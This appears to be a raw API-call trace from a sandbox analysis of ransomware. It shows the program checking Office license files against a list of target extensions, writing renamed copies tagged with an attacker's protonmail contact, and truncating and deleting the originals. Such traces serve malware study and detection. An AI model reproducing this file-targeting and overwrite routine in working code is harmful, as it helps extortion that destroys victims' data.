	[0201.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0201.311] lstrlenW (lpString=".dbf") returned 4
	[0201.311] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0201.311] lstrlenW (lpString=".1cd") returned 4
	[0201.311] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0201.311] lstrlenW (lpString=".jpg") returned 4
	[0201.311] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0201.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0201.311] lstrlenW (lpString=".doc") returned 4
	[0201.311] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.311] lstrlenW (lpString=".docx") returned 5
	[0201.311] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.311] lstrlenW (lpString=".pdf") returned 4
	[0201.311] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.311] lstrlenW (lpString=".xls") returned 4
	[0201.311] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.311] lstrlenW (lpString=".xlsx") returned 5
	[0201.311] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.311] lstrlenW (lpString=".ppt") returned 4
	[0201.311] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0201.311] lstrlenW (lpString=".zip") returned 4
	[0201.311] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.312] lstrlenW (lpString=".rar") returned 4
	[0201.312] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.312] lstrlenW (lpString=".bz2") returned 4
	[0201.312] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.312] lstrlenW (lpString=".7z") returned 3
	[0201.312] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0201.312] lstrlenW (lpString=".dbf") returned 4
	[0201.312] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0201.312] lstrlenW (lpString=".1cd") returned 4
	[0201.312] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0201.312] lstrlenW (lpString=".jpg") returned 4
	[0201.312] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.312] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.312] lstrlenW (lpString="O365HomePremR_SubTest5-ppd.xrm-ms") returned 33
	[0201.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc
	[0201.313] GetFileSizeEx (in: hFile=0x4fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=23134) returned 1
	[0201.313] CloseHandle (hObject=0x4fc) returned 1
	[0201.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms")) returned 0x220
	[0201.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc
	[0201.314] SetFilePointerEx (in: hFile=0x4fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.314] SetFilePointerEx (in: hFile=0x4fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0201.315] GetLastError () returned 0x0
	[0201.315] ReadFile (in: hFile=0x4fc, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x5a5e, lpOverlapped=0x0) returned 1
	[0201.332] WriteFile (in: hFile=0x514, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0201.333] ReadFile (in: hFile=0x4fc, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.333] WriteFile (in: hFile=0x514, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x116, lpOverlapped=0x0) returned 1
	[0201.333] SetEndOfFile (hFile=0x514) returned 1
	[0201.333] CloseHandle (hObject=0x514) returned 1
	[0201.333] SetFilePointerEx (in: hFile=0x4fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.333] SetEndOfFile (hFile=0x4fc) returned 1
	[0201.336] CloseHandle (hObject=0x4fc) returned 1
	[0201.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms")) returned 1
	[0201.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0201.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0201.937] lstrlenW (lpString=".doc") returned 4
	[0201.937] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.937] lstrlenW (lpString=".docx") returned 5
	[0201.937] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.937] lstrlenW (lpString=".pdf") returned 4
	[0201.937] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.937] lstrlenW (lpString=".xls") returned 4
	[0201.937] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.937] lstrlenW (lpString=".xlsx") returned 5
	[0201.937] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.937] lstrlenW (lpString=".ppt") returned 4
	[0201.937] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0201.937] lstrlenW (lpString=".zip") returned 4
	[0201.937] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.937] lstrlenW (lpString=".rar") returned 4
	[0201.937] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.937] lstrlenW (lpString=".bz2") returned 4
	[0201.937] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.937] lstrlenW (lpString=".7z") returned 3
	[0201.937] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0201.938] lstrlenW (lpString=".dbf") returned 4
	[0201.938] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0201.938] lstrlenW (lpString=".1cd") returned 4
	[0201.938] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0201.938] lstrlenW (lpString=".jpg") returned 4
	[0201.938] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0201.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0201.938] lstrlenW (lpString=".doc") returned 4
	[0201.938] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.938] lstrlenW (lpString=".docx") returned 5
	[0201.938] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.938] lstrlenW (lpString=".pdf") returned 4
	[0201.938] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.938] lstrlenW (lpString=".xls") returned 4
	[0201.938] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.938] lstrlenW (lpString=".xlsx") returned 5
	[0201.938] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.938] lstrlenW (lpString=".ppt") returned 4
	[0201.938] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0201.938] lstrlenW (lpString=".zip") returned 4
	[0201.938] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.938] lstrlenW (lpString=".rar") returned 4
	[0201.938] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.938] lstrlenW (lpString=".bz2") returned 4
	[0201.938] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.938] lstrlenW (lpString=".7z") returned 3
	[0201.938] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0201.939] lstrlenW (lpString=".dbf") returned 4
	[0201.939] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0201.939] lstrlenW (lpString=".1cd") returned 4
	[0201.939] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0201.939] lstrlenW (lpString=".jpg") returned 4
	[0201.939] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.939] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.939] lstrlenW (lpString="O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 41
	[0201.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0201.940] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11215) returned 1
	[0201.940] CloseHandle (hObject=0x484) returned 1
	[0201.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0201.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0201.940] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.940] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288
	[0201.941] GetLastError () returned 0x0
	[0201.941] ReadFile (in: hFile=0x484, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2bcf, lpOverlapped=0x0) returned 1
	[0201.943] WriteFile (in: hFile=0x288, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2bd0, lpOverlapped=0x0) returned 1
	[0201.944] ReadFile (in: hFile=0x484, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.944] WriteFile (in: hFile=0x288, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x126, lpOverlapped=0x0) returned 1
	[0201.944] SetEndOfFile (hFile=0x288) returned 1
	[0201.945] CloseHandle (hObject=0x288) returned 1
	[0201.945] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.945] SetEndOfFile (hFile=0x484) returned 1
	[0201.948] CloseHandle (hObject=0x484) returned 1
	[0201.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms")) returned 1
	[0201.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0201.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0201.949] lstrlenW (lpString=".doc") returned 4
	[0201.949] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.949] lstrlenW (lpString=".docx") returned 5
	[0201.949] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.949] lstrlenW (lpString=".pdf") returned 4
	[0201.949] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.949] lstrlenW (lpString=".xls") returned 4
	[0201.949] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.949] lstrlenW (lpString=".xlsx") returned 5
	[0201.949] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.949] lstrlenW (lpString=".ppt") returned 4
	[0201.949] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0201.949] lstrlenW (lpString=".zip") returned 4
	[0201.950] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.950] lstrlenW (lpString=".rar") returned 4
	[0201.950] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.950] lstrlenW (lpString=".bz2") returned 4
	[0201.950] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.950] lstrlenW (lpString=".7z") returned 3
	[0201.950] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0201.950] lstrlenW (lpString=".dbf") returned 4
	[0201.950] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0201.950] lstrlenW (lpString=".1cd") returned 4
	[0201.950] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0201.950] lstrlenW (lpString=".jpg") returned 4
	[0201.950] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0201.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0201.950] lstrlenW (lpString=".doc") returned 4
	[0201.950] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.950] lstrlenW (lpString=".docx") returned 5
	[0201.950] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.950] lstrlenW (lpString=".pdf") returned 4
	[0201.950] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.950] lstrlenW (lpString=".xls") returned 4
	[0201.950] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.950] lstrlenW (lpString=".xlsx") returned 5
	[0201.950] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.950] lstrlenW (lpString=".ppt") returned 4
	[0201.950] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0201.950] lstrlenW (lpString=".zip") returned 4
	[0201.951] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.951] lstrlenW (lpString=".rar") returned 4
	[0201.951] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.951] lstrlenW (lpString=".bz2") returned 4
	[0201.951] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.951] lstrlenW (lpString=".7z") returned 3
	[0201.951] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0201.951] lstrlenW (lpString=".dbf") returned 4
	[0201.951] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0201.951] lstrlenW (lpString=".1cd") returned 4
	[0201.951] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0201.951] lstrlenW (lpString=".jpg") returned 4
	[0201.951] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.951] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.951] lstrlenW (lpString="O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 42
	[0201.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0201.952] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=24386) returned 1
	[0201.952] CloseHandle (hObject=0x484) returned 1
	[0201.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0201.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0201.953] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.953] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288
	[0201.954] GetLastError () returned 0x0
	[0201.954] ReadFile (in: hFile=0x484, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x5f42, lpOverlapped=0x0) returned 1
	[0201.957] WriteFile (in: hFile=0x288, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x5f50, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x5f50, lpOverlapped=0x0) returned 1
	[0201.958] ReadFile (in: hFile=0x484, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.958] WriteFile (in: hFile=0x288, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x128, lpOverlapped=0x0) returned 1
	[0201.959] SetEndOfFile (hFile=0x288) returned 1
	[0201.959] CloseHandle (hObject=0x288) returned 1
	[0201.959] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.959] SetEndOfFile (hFile=0x484) returned 1
	[0201.963] CloseHandle (hObject=0x484) returned 1
	[0201.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0201.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0201.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92
